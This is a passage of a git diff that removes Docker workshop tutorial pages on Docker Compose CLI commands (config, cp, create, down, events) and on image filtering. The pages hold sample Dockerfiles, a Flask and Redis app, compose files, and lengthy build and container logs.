dockerfile: 319B 0.0s - => [internal] load .dockerignore 0.0s - => => transferring context: 2B 0.0s - => resolve image config for docker.io/docker/dockerfile:1 3.8s - => docker-image://docker.io/docker/dockerfile:1@sha256:39b85bbfa7536a5feceb7372a0817649ecb2724562a38360f4d6a77 3.1s - => => resolve docker.io/docker/dockerfile:1@sha256:39b85bbfa7536a5feceb7372a0817649ecb2724562a38360f4d6a7782a4 0.0s - => => sha256:9d0cd65540a143ce38aa0be7c5e9efeed30d3580d03667f107cd76354f2bee65 10.82MB / 10.82MB 3.0s - => => extracting sha256:9d0cd65540a143ce38aa0be7c5e9efeed30d3580d03667f107cd76354f2bee65 0.1s - => [internal] load metadata for docker.io/library/python:3.7-alpine 3.6s - => [1/6] FROM docker.io/library/python:3.7-alpine@sha256:c9c2d6f97a00b211def3818830883495417e3b1fd34783ce6135c 3.9s - => => resolve docker.io/library/python:3.7-alpine@sha256:c9c2d6f97a00b211def3818830883495417e3b1fd34783ce6135c 0.0s - => => sha256:57a125a213d772ab0750422ad92f1cc7d1d97e0b09ad4ed766d9cd50db8e2b50 2.88MB / 2.88MB 1.9s - => => sha256:2bd7dfc9c660f2a9be2e537fd8f7f3c289ea1ba335c957472bd9a51630c9b449 230B / 230B 0.6s - => => sha256:6b1178b7c6752e0d2eb293ee14286ec1f75d0f868d9826bcaba24fe33affea99 11.01MB / 11.01MB 3.0s - => => sha256:cdba2f6867522ee9d2e8dcc9b1ad3ec5bafe75da976a3e613ff26cbc98738b48 624.86kB / 624.86kB 3.5s - => => sha256:af6eaf76a39c2d3e7e0b8a0420486e3df33c4027d696c076a99a3d0ac09026af 3.26MB / 3.26MB 0.6s - => => extracting sha256:af6eaf76a39c2d3e7e0b8a0420486e3df33c4027d696c076a99a3d0ac09026af 0.1s - => => extracting sha256:cdba2f6867522ee9d2e8dcc9b1ad3ec5bafe75da976a3e613ff26cbc98738b48 0.1s - => => extracting sha256:6b1178b7c6752e0d2eb293ee14286ec1f75d0f868d9826bcaba24fe33affea99 0.2s - => => extracting sha256:2bd7dfc9c660f2a9be2e537fd8f7f3c289ea1ba335c957472bd9a51630c9b449 0.0s - => => extracting sha256:57a125a213d772ab0750422ad92f1cc7d1d97e0b09ad4ed766d9cd50db8e2b50 0.1s - => [internal] load build context 0.0s - => => transferring context: 1.08kB 0.0s - => [2/6] WORKDIR /code 0.1s - => [3/6] RUN apk add --no-cache gcc musl-dev linux-headers 3.1s - => [4/6] COPY requirements.txt requirements.txt 0.0s - => [5/6] RUN pip install -r requirements.txt 3.1s - => [6/6] COPY . . 0.0s - => exporting to docker image format 5.6s - => => exporting layers 3.4s - => => exporting manifest sha256:198e97700c3c0f4a28b481ceacda99d7dacf2c8f42c86f7f4ffd6e5094098322 0.0s - => => exporting config sha256:dba54b65e3daa61d0ce759dc20145718068c33daf2eaf908c03e03934024df88 0.0s - => => sending tarball 2.2s - => importing to docker 1.4s -➜ 7-DC-CLI git:(main) ✗ - - -``` \ No newline at end of file diff --git a/content/en/docker/a27.docker-compose-config.md b/content/en/docker/a27.docker-compose-config.md deleted file mode 100644 index be89f44..0000000 --- a/content/en/docker/a27.docker-compose-config.md +++ /dev/null @@ -1,103 +0,0 @@ ---- -title: "Docker Compose CLI - Config Command" -description: " Parse, resolve and render compose file in canonical format " -slug: "Docker-Compose-CLI-Config-Command" ---- - - -#### create dockerfile with following content - - -```dockerfile -# syntax=docker/dockerfile:1 -FROM python:3.7-alpine -WORKDIR /code -ENV FLASK_APP=app.py -ENV FLASK_RUN_HOST=0.0.0.0 -RUN apk add --no-cache gcc musl-dev linux-headers -COPY requirements.txt requirements.txt -RUN pip install -r requirements.txt -EXPOSE 5000 -COPY . . -CMD ["flask", "run"] - -``` - -#### create app.py with following content - - -```python -import time - -import redis -from flask import Flask - -app = Flask(__name__) -cache = redis.Redis(host='redis', port=6379) - -def get_hit_count(): - retries = 5 - while True: - try: - return cache.incr('hits') - except redis.exceptions.ConnectionError as exc: - if retries == 0: - raise exc - retries -= 1 - time.sleep(0.5) - -@app.route('/') -def hello(): - count = get_hit_count() - return 'Hello World! I have been seen {} times.\n'.format(count) - - -``` - -#### create requirements.txt fil with following content - - -```sh -flask -redis - -``` - -#### create docker-compose.yml with following content - -```yml -version: "3.9" -services: - web: - build: . - ports: - - "8000:5000" - redis: - image: "redis:alpine" -``` - -### docker compose config - -```sh -7-DC-CLI git:(main) ✗ docker compose config -name: 7-dc-cli -services: - redis: - image: redis:alpine - networks: - default: null - web: - build: - context: /Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/7-DC-CLI - dockerfile: Dockerfile - networks: - default: null - ports: - - mode: ingress - target: 5000 - published: "8000" - protocol: tcp -networks: - default: - name: 7-dc-cli_default -``` \ No newline at end of file diff --git a/content/en/docker/a28.docker-compose-cp.md b/content/en/docker/a28.docker-compose-cp.md deleted file mode 100644 index adc6ce2..0000000 --- a/content/en/docker/a28.docker-compose-cp.md +++ /dev/null @@ -1,84 +0,0 @@ ---- -title: "Docker Compose CLI - CP Command " -description: " Copy files/folders between a service container and the local filesystem " -slug: "Docker-Compose-CLI-CP-Command" ---- - -### Copy files/folders between a service container and the local filesystem - -```sh -# Syntax to Copy from Container to Docker Host -docker cp {options} CONTAINER:SRC_PATH DEST_PATH -# Syntax to Copy from Docker Host to Container -docker cp {options} SRC_PATH CONTAINER:DEST_PATH - -``` - -#### lets run ngnix container - -```yml -version: '3' -services: - web: - image: nginx:latest - -``` - -#### run docker compose up - -```sh -docker compose -f docker-compose-ngnix.yml up - -``` - -### check running container - -```sh -➜ dockerworkshop git:(main) ✗ docker ps -CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES -008940fdbed8 nginx:latest "/docker-entrypoint.…" 29 seconds ago Up 28 seconds 80/tcp 7-dc-cli-web-1 -``` - -### create index.html - -```sh - - Docker-Compose git:(main) ✗ cd 7-DC-CLI -➜ 7-DC-CLI git:(main) ✗ ls -Dockerfile app.py docker-compose-ngnix.yml docker-compose.yml index.html requirements.txt src -``` -### copy index.html - -```sh -$ docker-compose cp index.html web:/usr/share/nginx/html/ - -``` - - -``` -services: - web: - image: nginx - volumes: - - ./nginx.conf:/etc/nginx/nginx.conf - ports: - - "80:80" - command: nginx-debug -g 'daemon off;' - copy: - - ./index.html:/usr/share/nginx/html/index.html -``` - -``` -services: - web: - image: nginx - volumes: - - ./nginx.conf:/etc/nginx/nginx.conf - ports: - - "80:80" - command: nginx-debug -g 'daemon off;' - copy: - - ./index.html:/usr/share/nginx/html/index.html - - ./style.css:/usr/share/nginx/html/style.css - - ./images:/usr/share/nginx/html/images -``` diff --git a/content/en/docker/a29.docker-compose-create.md b/content/en/docker/a29.docker-compose-create.md deleted file mode 100644 index b07cc96..0000000 --- a/content/en/docker/a29.docker-compose-create.md +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: "Docker Compose CLI - Create Command " -description: " Creates containers for a service. " -slug: "Docker-Compose-CLI-Create-Command" ---- - - -### create docker-compose.yml with following content - -```yml -version: "3.9" -services: - web: - build: . - ports: - - "8000:5000" - redis: - image: "redis:alpine" - -``` - - -### Creates containers for a service. - -```sh -➜ 7-DC-CLI git:(main) ✗ docker compose create -[+] Running 7/7 - ⠿ redis Pulled 6.1s - ⠿ af6eaf76a39c Already exists 0.0s - ⠿ 5015c79ed515 Pull complete 0.9s - ⠿ 2ca28624189f Pull complete 1.0s - ⠿ 4691452befb1 Pull complete 1.6s - ⠿ 746fa87aff8c Pull complete 2.1s - ⠿ b8496ad2d107 Pull complete 2.2s -WARN[0006] Found orphan containers ([7-dc-cli-client-1]) for this project. If you removed or renamed this service in your compose file, you can run this command with the --remove-orphans flag to clean it up. -[+] Running 2/2 - ⠿ Container 7-dc-cli-redis-1 Created 0.1s - ⠿ Container 7-dc-cli-web-1 Recreated 0.1s -➜ 7-DC-CLI git:(main) ✗ - -``` \ No newline at end of file diff --git a/content/en/docker/a3.docker-images-filter.md b/content/en/docker/a3.docker-images-filter.md deleted file mode 100644 index 6333413..0000000 --- a/content/en/docker/a3.docker-images-filter.md +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: "Docker Image Filtering" -slug: Docker-Image-Filtering ---- - -running `docker run alpine ` command would download the Alpine Linux image from Docker Hub and start a new container based on that image. You can then use the container to run commands or applications. When you exit the container, it will stop running. - -Alpine Linux is a lightweight Linux distribution that is commonly used in Docker containers due to its small size and security features. - -```sh -dockerworkshop git:(main) ✗ docker pull alpine:3.6 -docker pull alpine:3.7 -docker pull alpine:3.8 -docker pull alpine:3.9 -3.6: Pulling from library/alpine -e8f81692e76c: Pull complete -Digest: sha256:66790a2b79e1ea3e1dabac43990c54aca5d1ddf268d9a5a0285e4167c8b24475 -Status: Downloaded newer image for alpine:3.6 -docker.io/library/alpine:3.6 -3.7: Pulling from library/alpine -40223db5366f: Pull complete -Digest: sha256:8421d9a84432575381bfabd248f1eb56f3aa21d9d7cd2511583c68c9b7511d10 -Status: Downloaded newer image for alpine:3.7 -docker.io/library/alpine:3.7 -3.8: Pulling from library/alpine -788aef77d06b: Pull complete -Digest: sha256:2bb501e6173d9d006e56de5bce2720eb06396803300fe1687b58a7ff32bf4c14 -Status: Downloaded newer image for alpine:3.8 -docker.io/library/alpine:3.8 -3.9: Pulling from library/alpine -941f399634ec: Pull complete -Digest: sha256:414e0518bb9228d35e4cd5165567fb91d26c6a214e9c95899e1e056fcd349011 -Status: Downloaded newer image for alpine:3.9 -docker.io/library/alpine:3.9 - -``` - -#### docker images filtering - -The docker images command allows you to filter Docker images based on various criteria using the --filter option. Here are some common filters that you can use with the docker images command: - - -```sh -docker images --filter=reference='alpine' -REPOSITORY TAG IMAGE ID CREATED SIZE -alpine 3.9 9afdd4a290bf 2 years ago 5.3MB -alpine 3.8 b22edbe95d11 3 years ago 4.2MB -alpine 3.7 bd812700d284 3 years ago 4.01MB -alpine 3.6 25e814211fdd 3 years ago 3.84MB -``` -#### Filters images that are or are not "dangling," meaning they are not tagged and not referenced by any container. - -```sh -docker images --filter dangling=false -``` -Or to list images created before a specific image, you can run: - -```sh -docker images --filter before=alpine:3.8 - -``` - diff --git a/content/en/docker/a30.docker-compose-down.md b/content/en/docker/a30.docker-compose-down.md deleted file mode 100644 index acea744..0000000 --- a/content/en/docker/a30.docker-compose-down.md +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: "Docker Compose CLI - Down Command " -description: " Stop and remove containers, networks " -slug: "Docker-Compose-CLI-Down-Command" ---- - - - -### create docker-compose.yml with following content - -```yml -version: "3.9" -services: - web: - build: . - ports: - - "8000:5000" - redis: - image: "redis:alpine" - -``` - - -### Create docker compose up - -```sh - - docker compose up -WARN[0000] Found orphan containers ([7-dc-cli-client-1]) for this project. If you removed or renamed this service in your compose file, you can run this command with the --remove-orphans flag to clean it up. -Attaching to 7-dc-cli-redis-1, 7-dc-cli-web-1 -7-dc-cli-redis-1 | 1:C 04 Mar 2023 14:23:46.156 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo -7-dc-cli-redis-1 | 1:C 04 Mar 2023 14:23:46.156 # Redis version=7.0.9, bits=64, commit=00000000, modified=0, pid=1, just started -7-dc-cli-redis-1 | 1:C 04 Mar 2023 14:23:46.156 # Warning: no config file specified, using the default config. In order to specify a config file use redis-server /path/to/redis.conf -7-dc-cli-redis-1 | 1:M 04 Mar 2023 14:23:46.157 * monotonic clock: POSIX clock_gettime -7-dc-cli-redis-1 | 1:M 04 Mar 2023 14:23:46.158 * Running mode=standalone, port=6379. -7-dc-cli-redis-1 | 1:M 04 Mar 2023 14:23:46.158 # Server initialized -7-dc-cli-redis-1 | 1:M 04 Mar 2023 14:23:46.160 * Ready to accept connections -7-dc-cli-web-1 | * Serving Flask app 'app.py' -7-dc-cli-web-1 | * Debug mode: off -7-dc-cli-web-1 | WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead. -7-dc-cli-web-1 | * Running on all addresses (0.0.0.0) -7-dc-cli-web-1 | * Running on http://127.0.0.1:5000 -7-dc-cli-web-1 | * Running on http://172.18.0.3:5000 -7-dc-cli-web-1 | Press CTRL+C to quit - - -``` - -### Create docker compose Down - -```sh - 7-DC-CLI git:(main) ✗ docker compose down -[+] Running 3/3 - ⠿ Container 7-dc-cli-redis-1 Removed 0.2s - ⠿ Container 7-dc-cli-web-1 Removed 10.2s - ⠿ Network 7-dc-cli_default Removed 0.1s -➜ 7-DC-CLI git:(main) ✗ - - -``` \ No newline at end of file diff --git a/content/en/docker/a31.docker-compose-events.md b/content/en/docker/a31.docker-compose-events.md deleted file mode 100644 index ff64c00..0000000 --- a/content/en/docker/a31.docker-compose-events.md +++ /dev/null @@ -1,366 +0,0 @@ ---- -title: "Docker Compose CLI - Events Command " -description: " Receive real time events from containers. " -slug: "Docker-Compose-CLI-Events-Command" ---- - - -#### here is sample voting app - -```sh -cat docker-compose.yml -# version is now using "compose spec" -# v2 and v3 are now combined! -# docker-compose v1.27+ required - -services: - vote: - build: ./vote - # use python rather than gunicorn for local dev - command: python app.py - depends_on: - redis: - condition: service_healthy - healthcheck: - test: ["CMD", "curl", "-f", "http://localhost"] - interval: 15s - timeout: 5s - retries: 3 - start_period: 10s - volumes: - - ./vote:/app - ports: - - "5000:80" - networks: - - front-tier - - back-tier - - result: - build: ./result - # use nodemon rather than node for local dev - entrypoint: nodemon server.js - depends_on: - db: - condition: service_healthy - volumes: - - ./result:/app - ports: - - "5001:80" - - "5858:5858" - networks: - - front-tier - - back-tier - - worker: - build: - context: ./worker - depends_on: - redis: - condition: service_healthy - db: - condition: service_healthy - networks: - - back-tier - - redis: - image: redis:alpine - volumes: - - "./healthchecks:/healthchecks" - healthcheck: - test: /healthchecks/redis.sh - interval: "5s" - networks: - - back-tier - - db: - image: postgres:15-alpine - environment: - POSTGRES_USER: "postgres" - POSTGRES_PASSWORD: "postgres" - volumes: - - "db-data:/var/lib/postgresql/data" - - "./healthchecks:/healthchecks" - healthcheck: - test: /healthchecks/postgres.sh - interval: "5s" - networks: - - back-tier - - # this service runs once to seed the database with votes - # it won't run unless you specify the "seed" profile - # docker compose --profile seed up -d - seed: - build: ./seed-data - profiles: ["seed"] - depends_on: - vote: - condition: service_healthy - networks: - - front-tier - restart: "no" - -volumes: - db-data: - -networks: - front-tier: - back-tier: - - - - -``` - - -#### Docker Compose up - -```sh -example-voting-app git:(main) docker compose up -[+] Running 9/9 - ⠿ db Pulled 9.7s - ⠿ af6eaf76a39c Already exists 0.0s - ⠿ 71286d2ce0cc Pull complete 1.7s - ⠿ b82afe47906a Pull complete 1.8s - ⠿ 75d514bb4aa7 Pull complete 5.6s - ⠿ 217da6f41d9e Pull complete 5.7s - ⠿ 39a3f4823126 Pull complete 5.7s - ⠿ ed6571a6afcc Pull complete 5.8s - ⠿ 8ae7d38f54c4 Pull complete 5.8s -[+] Building 36.2s (42/42) FINISHED - => [example-voting-app-result internal] load .dockerignore 0.0s - => => transferring context: 54B 0.0s - => [example-voting-app-result internal] load build definition from Dockerfile 0.0s - => => transferring dockerfile: 517B 0.0s - => [example-voting-app-result internal] load metadata for docker.io/library/node:18-slim 5.1s - => [example-voting-app-vote internal] load .dockerignore 0.0s - => => transferring context: 2B 0.0s - => [example-voting-app-vote internal] load build definition from Dockerfile 0.0s - => => transferring dockerfile: 740B 0.0s - => [example-voting-app-vote internal] load metadata for docker.io/library/python:3.9-slim 5.2s - => [example-voting-app-worker internal] load .dockerignore 0.0s - => => transferring context: 2B 0.0s - => [example-voting-app-worker internal] load build definition from Dockerfile 0.0s - => => transferring dockerfile: 1.45kB 0.0s - => [example-voting-app-worker internal] load metadata for mcr.microsoft.com/dotnet/runtime:7.0 1.4s - => [example-voting-app-worker internal] load metadata for mcr.microsoft.com/dotnet/sdk:7.0 1.3s - => [example-voting-app-worker build 1/7] FROM mcr.microsoft.com/dotnet/sdk:7.0@sha256:bd1ccc2332fc03c6df1659ed125f67f02666f9f188947a80cec4e7afd3c7f98d 18.5s - => => resolve mcr.microsoft.com/dotnet/sdk:7.0@sha256:bd1ccc2332fc03c6df1659ed125f67f02666f9f188947a80cec4e7afd3c7f98d 0.0s - => => sha256:8907849f91e57df0899482d802a3fc140b67a6d5febaa503837ed2233d662283 13.55MB / 13.55MB 4.5s - => => sha256:afd8a1df3eb1e6747064359ca9bc37db5330672279e0be935849f256d4b3f0b1 155.94MB / 155.94MB 12.4s - => => sha256:e4f0af37a4eb47b3e26810a4721ebdf36d9342d580d8c6027bd99a7596acc98c 25.39MB / 25.39MB 1.9s - => => sha256:d1a2ad48fbf7e8af456454a11f1e058cdb9ba171ef35dace5d13b495b053cc84 9.80MB / 9.80MB 1.1s - => => extracting sha256:d1a2ad48fbf7e8af456454a11f1e058cdb9ba171ef35dace5d13b495b053cc84 0.1s - => => extracting sha256:e4f0af37a4eb47b3e26810a4721ebdf36d9342d580d8c6027bd99a7596acc98c 0.5s - => => extracting sha256:afd8a1df3eb1e6747064359ca9bc37db5330672279e0be935849f256d4b3f0b1 4.0s - => => extracting sha256:8907849f91e57df0899482d802a3fc140b67a6d5febaa503837ed2233d662283 0.4s - => [example-voting-app-worker internal] load build context 0.0s - => => transferring context: 7.48kB 0.0s - => [example-voting-app-worker stage-1 1/3] FROM mcr.microsoft.com/dotnet/runtime:7.0@sha256:1ed4d59643e6b8b41b64ffa00b524ebca9de287bd3efa9955f9fa706f1dd0471 3.6s - => => resolve mcr.microsoft.com/dotnet/runtime:7.0@sha256:1ed4d59643e6b8b41b64ffa00b524ebca9de287bd3efa9955f9fa706f1dd0471 0.0s - => => sha256:a34d8d2343cd4d1705a15b9494ef9b39d01832d43c3a09fe129458c8bfdabeee 155B / 155B 0.2s - => => sha256:b7dfc290d72d9065e3276dcd05c3323942f8947a71dd5e7b4304f7a68d25c9c9 30.71MB / 30.71MB 3.1s - => => sha256:235af35749f09d6549b76fb376b3929ec21198feee4e72ffb396514dd11b374e 14.92MB / 14.92MB 1.8s - => => sha256:66dbba0fb1b568cc3ffd53409ba2f9f82995ab7f80e379338f3f36e4dcd223be 30.06MB / 30.06MB 2.2s - => => extracting sha256:66dbba0fb1b568cc3ffd53409ba2f9f82995ab7f80e379338f3f36e4dcd223be 0.6s - => => extracting sha256:235af35749f09d6549b76fb376b3929ec21198feee4e72ffb396514dd11b374e 0.2s - => => extracting sha256:b7dfc290d72d9065e3276dcd05c3323942f8947a71dd5e7b4304f7a68d25c9c9 0.5s - => => extracting sha256:a34d8d2343cd4d1705a15b9494ef9b39d01832d43c3a09fe129458c8bfdabeee 0.0s - => [example-voting-app-result 1/7] FROM docker.io/library/node:18-slim@sha256:36f3403a001b82d525afd2bdb7fcec0980543277dd86e9657964cce3438ae4b7 4.1s - => => resolve docker.io/library/node:18-slim@sha256:36f3403a001b82d525afd2bdb7fcec0980543277dd86e9657964cce3438ae4b7 0.0s - => => sha256:8e5162ad1efe24f915933435516b8cb1510cc80704bdf87c868e995f4f871cd9 451B / 451B 0.4s - => => sha256:1ad5fb92392ab64732e756b44967f7ecead775eb06ce3f9cd43d1a22bd9c9458 2.77MB / 2.77MB 1.8s - => => sha256:cc36a0fa43f85245c8d9977661c82a89cfc226fc26e5861670cf62c0933f62c4 46.14MB / 46.14MB 2.9s - => => sha256:d1d4cdb9c955626876afec2a95c6f7487481e067acc0a8be1867f678003266df 4.19kB / 4.19kB 0.6s - => => extracting sha256:d1d4cdb9c955626876afec2a95c6f7487481e067acc0a8be1867f678003266df 0.0s - => => extracting sha256:cc36a0fa43f85245c8d9977661c82a89cfc226fc26e5861670cf62c0933f62c4 1.0s - => => extracting sha256:1ad5fb92392ab64732e756b44967f7ecead775eb06ce3f9cd43d1a22bd9c9458 0.1s - => => extracting sha256:8e5162ad1efe24f915933435516b8cb1510cc80704bdf87c868e995f4f871cd9 0.0s - => [example-voting-app-result internal] load build context 0.0s - => => transferring context: 302.01kB 0.0s - => [example-voting-app-worker stage-1 2/3] WORKDIR /app 0.2s - => [example-voting-app-vote 1/6] FROM docker.io/library/python:3.9-slim@sha256:2ed9cf48cf86eb638a9ceb555737161fbb20fa0474494269150b4d6c2653227b 2.7s - => => resolve docker.io/library/python:3.9-slim@sha256:2ed9cf48cf86eb638a9ceb555737161fbb20fa0474494269150b4d6c2653227b 0.0s - => => sha256:98b352a9715d74c4172491762aded5e741a28ce83df0fd99321a1031b1d5b6c8 3.17MB / 3.17MB 0.6s - => => sha256:14b89f7d65aecdc5e63ab5759d5135ec777524bcdbc4adb5200fac65c825655d 233B / 233B 0.3s - => => sha256:ac439b0377b530ec2bd538701b6611c91588fdf491f0566458373c314866cfb8 11.22MB / 11.22MB 0.9s - => => sha256:1f3ba05aa6dc6bcf7f4f57d5eaec80fd3edffbffde2e9727df29d63c978f0b99 1.06MB / 1.06MB 1.4s - => => extracting sha256:1f3ba05aa6dc6bcf7f4f57d5eaec80fd3edffbffde2e9727df29d63c978f0b99 0.0s - => => extracting sha256:ac439b0377b530ec2bd538701b6611c91588fdf491f0566458373c314866cfb8 0.2s - => => extracting sha256:14b89f7d65aecdc5e63ab5759d5135ec777524bcdbc4adb5200fac65c825655d 0.0s - => => extracting sha256:98b352a9715d74c4172491762aded5e741a28ce83df0fd99321a1031b1d5b6c8 0.1s - => [example-voting-app-vote internal] load build context 0.0s - => => transferring context: 6.11kB 0.0s - => [example-voting-app-vote 2/6] RUN apt-get update && apt-get install -y --no-install-recommends curl && rm -rf /var/lib/apt/lists/* 4.2s - => [example-voting-app-result 2/7] RUN apt-get update && apt-get install -y --no-install-recommends curl tini && rm -rf /var/lib/apt/lists/* 3.4s - => [example-voting-app-vote 3/6] WORKDIR /app 0.0s - => [example-voting-app-vote 4/6] COPY requirements.txt /app/requirements.txt 0.0s - => [example-voting-app-vote 5/6] RUN pip install -r requirements.txt 3.0s - => [example-voting-app-result 3/7] WORKDIR /app 0.0s - => [example-voting-app-result 4/7] RUN npm install -g nodemon 1.9s - => [example-voting-app-result 5/7] COPY package*.json ./ 0.0s - => [example-voting-app-result 6/7] RUN npm ci && npm cache clean --force && mv /app/node_modules /node_modules 2.1s - => [example-voting-app-vote 6/6] COPY . . 0.0s - => [example-voting-app-vote] exporting to docker image format 3.8s - => => exporting layers 0.5s - => => exporting manifest sha256:8e6e3010a750bd01eebd409fa77a5e98f99f4aecefe6de2b8eb43096e7de9bcb 0.0s - => => exporting config sha256:5c1cf62b540c59ce0a99930302aae92523c6db3e77d0e8737d4d4260908880ee 0.0s - => => sending tarball 3.2s - => importing to docker 2.4s - => [example-voting-app-result 7/7] COPY . . 0.0s - => [example-voting-app-result] exporting to docker image format 3.9s - => => exporting layers 0.3s - => => exporting manifest sha256:91ac5a4bcc08913d88936fca0f6f36a58a69cb0e2de202691b3fe6c545d21e7c 0.0s - => => exporting config sha256:223b94fc00aee779a4ee25ce9d1c69cab293aedd539b843faba7c1a47e894b29 0.0s - => => sending tarball 3.6s - => importing to docker 2.4s - => [example-voting-app-worker build 2/7] RUN echo "I am running on linux/arm64, building for linux/arm64" 0.1s - => [example-voting-app-worker build 3/7] WORKDIR /source 0.0s - => [example-voting-app-worker build 4/7] COPY *.csproj . 0.0s - => [example-voting-app-worker build 5/7] RUN case linux/arm64 in "linux/amd64") ARCH=x64 ;; "linux/arm64") ARCH=arm64 ;; "linux/arm64/v8") ARCH=a 12.3s - => [example-voting-app-worker build 6/7] COPY . . 0.0s - => [example-voting-app-worker build 7/7] RUN case linux/arm64 in "linux/amd64") ARCH=x64 ;; "linux/arm64") ARCH=arm64 ;; "linux/arm64/v8") ARCH=a 1.7s - => [example-voting-app-worker stage-1 3/3] COPY --from=build /app . 0.0s - => [example-voting-app-worker] exporting to docker image format 1.8s - => => exporting layers 0.1s - => => exporting manifest sha256:93ec3cbb0ef4e82b397475cf25ca330aef2b4b2badaa7ad86541b00e48305e63 0.0s - => => exporting config sha256:8f82fda1dae8bc1c7c040c0c3045239fd48547d34ee3d5d458683cef7b107188 0.0s - => => sending tarball 1.7s - => importing to docker 0.7s -[+] Running 8/5 - ⠿ Network example-voting-app_back-tier Created 0.1s - ⠿ Network example-voting-app_front-tier Created 0.1s - ⠿ Volume "example-voting-app_db-data" Created 0.0s - ⠿ Container example-voting-app-redis-1 Created 0.2s - ⠿ Container example-voting-app-db-1 Created 0.2s - ⠿ Container example-voting-app-vote-1 Created 0.0s - ⠿ Container example-voting-app-worker-1 Created 0.0s - ⠿ Container example-voting-app-result-1 Created 0.0s -Attaching to example-voting-app-db-1, example-voting-app-redis-1, example-voting-app-result-1, example-voting-app-vote-1, example-voting-app-worker-1 -example-voting-app-redis-1 | 1:C 04 Mar 2023 14:41:27.311 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo -example-voting-app-redis-1 | 1:C 04 Mar 2023 14:41:27.313 # Redis version=7.0.9, bits=64, commit=00000000, modified=0, pid=1, just started -example-voting-app-redis-1 | 1:C 04 Mar 2023 14:41:27.313 # Warning: no config file specified, using the default config. In order to specify a config file use redis-server /path/to/redis.conf -example-voting-app-redis-1 | 1:M 04 Mar 2023 14:41:27.313 * monotonic clock: POSIX clock_gettime -example-voting-app-redis-1 | 1:M 04 Mar 2023 14:41:27.314 * Running mode=standalone, port=6379. -example-voting-app-redis-1 | 1:M 04 Mar 2023 14:41:27.315 # Server initialized -example-voting-app-redis-1 | 1:M 04 Mar 2023 14:41:27.318 * Ready to accept connections -example-voting-app-db-1 | The files belonging to this database system will be owned by user "postgres". -example-voting-app-db-1 | This user must also own the server process. -example-voting-app-db-1 | -example-voting-app-db-1 | The database cluster will be initialized with locale "en_US.utf8". -example-voting-app-db-1 | The default database encoding has accordingly been set to "UTF8". -example-voting-app-db-1 | The default text search configuration will be set to "english". -example-voting-app-db-1 | -example-voting-app-db-1 | Data page checksums are disabled. -example-voting-app-db-1 | -example-voting-app-db-1 | fixing permissions on existing directory /var/lib/postgresql/data ... ok -example-voting-app-db-1 | creating subdirectories ... ok -example-voting-app-db-1 | selecting dynamic shared memory implementation ... posix -example-voting-app-db-1 | selecting default max_connections ... 100 -example-voting-app-db-1 | selecting default shared_buffers ... 128MB -example-voting-app-db-1 | selecting default time zone ... UTC -example-voting-app-db-1 | creating configuration files ... ok -example-voting-app-db-1 | running bootstrap script ... ok -example-voting-app-db-1 | sh: locale: not found -example-voting-app-db-1 | 2023-03-04 14:41:27.703 UTC [30] WARNING: no usable system locales were found -example-voting-app-db-1 | performing post-bootstrap initialization ... ok -example-voting-app-db-1 | initdb: warning: enabling "trust" authentication for local connections -example-voting-app-db-1 | initdb: hint: You can change this by editing pg_hba.conf or using the option -A, or --auth-local and --auth-host, the next time you run initdb. -example-voting-app-db-1 | syncing data to disk ... ok -example-voting-app-db-1 | -example-voting-app-db-1 | -example-voting-app-db-1 | Success. You can now start the database server using: -example-voting-app-db-1 | -example-voting-app-db-1 | pg_ctl -D /var/lib/postgresql/data -l logfile start -example-voting-app-db-1 | -example-voting-app-db-1 | waiting for server to start....2023-03-04 14:41:28.118 UTC [36] LOG: starting PostgreSQL 15.2 on aarch64-unknown-linux-musl, compiled by gcc (Alpine 12.2.1_git20220924-r4) 12.2.1 20220924, 64-bit -example-voting-app-db-1 | 2023-03-04 14:41:28.120 UTC [36] LOG: listening on Unix socket "/var/run/postgresql/.s.PGSQL.5432" -example-voting-app-db-1 | 2023-03-04 14:41:28.124 UTC [39] LOG: database system was shut down at 2023-03-04 14:41:28 UTC -example-voting-app-db-1 | 2023-03-04 14:41:28.127 UTC [36] LOG: database system is ready to accept connections -example-voting-app-db-1 | done -example-voting-app-db-1 | server started -example-voting-app-db-1 | -example-voting-app-db-1 | /usr/local/bin/docker-entrypoint.sh: ignoring /docker-entrypoint-initdb.d/* -example-voting-app-db-1 | -example-voting-app-db-1 | waiting for server to shut down....2023-03-04 14:41:28.218 UTC [36] LOG: received fast shutdown request -example-voting-app-db-1 | 2023-03-04 14:41:28.220 UTC [36] LOG: aborting any active transactions -example-voting-app-db-1 | 2023-03-04 14:41:28.222 UTC [36] LOG: background worker "logical replication launcher" (PID 42) exited with exit code 1 -example-voting-app-db-1 | 2023-03-04 14:41:28.222 UTC [37] LOG: shutting down -example-voting-app-db-1 | 2023-03-04 14:41:28.222 UTC [37] LOG: checkpoint starting: shutdown immediate -example-voting-app-db-1 | 2023-03-04 14:41:28.227 UTC [37] LOG: checkpoint complete: wrote 3 buffers (0.0%); 0 WAL file(s) added, 0 removed, 0 recycled; write=0.002 s, sync=0.001 s, total=0.005 s; sync files=2, longest=0.001 s, average=0.001 s; distance=0 kB, estimate=0 kB -example-voting-app-db-1 | 2023-03-04 14:41:28.233 UTC [36] LOG: database system is shut down -example-voting-app-db-1 | done -example-voting-app-db-1 | server stopped -example-voting-app-db-1 | -example-voting-app-db-1 | PostgreSQL init process complete; ready for start up. -example-voting-app-db-1 | -example-voting-app-db-1 | 2023-03-04 14:41:28.342 UTC [1] LOG: starting PostgreSQL 15.2 on aarch64-unknown-linux-musl, compiled by gcc (Alpine 12.2.1_git20220924-r4) 12.2.1 20220924, 64-bit -example-voting-app-db-1 | 2023-03-04 14:41:28.342 UTC [1] LOG: listening on IPv4 address "0.0.0.0", port 5432 -example-voting-app-db-1 | 2023-03-04 14:41:28.342 UTC [1] LOG: listening on IPv6 address "::", port 5432 -example-voting-app-db-1 | 2023-03-04 14:41:28.344 UTC [1] LOG: listening on Unix socket "/var/run/postgresql/.s.PGSQL.5432" -example-voting-app-db-1 | 2023-03-04 14:41:28.347 UTC [50] LOG: database system was shut down at 2023-03-04 14:41:28 UTC -example-voting-app-db-1 | 2023-03-04 14:41:28.351 UTC [1] LOG: database system is ready to accept connections -Error response from daemon: Ports are not available: exposing port TCP 0.0.0.0:5000 -> 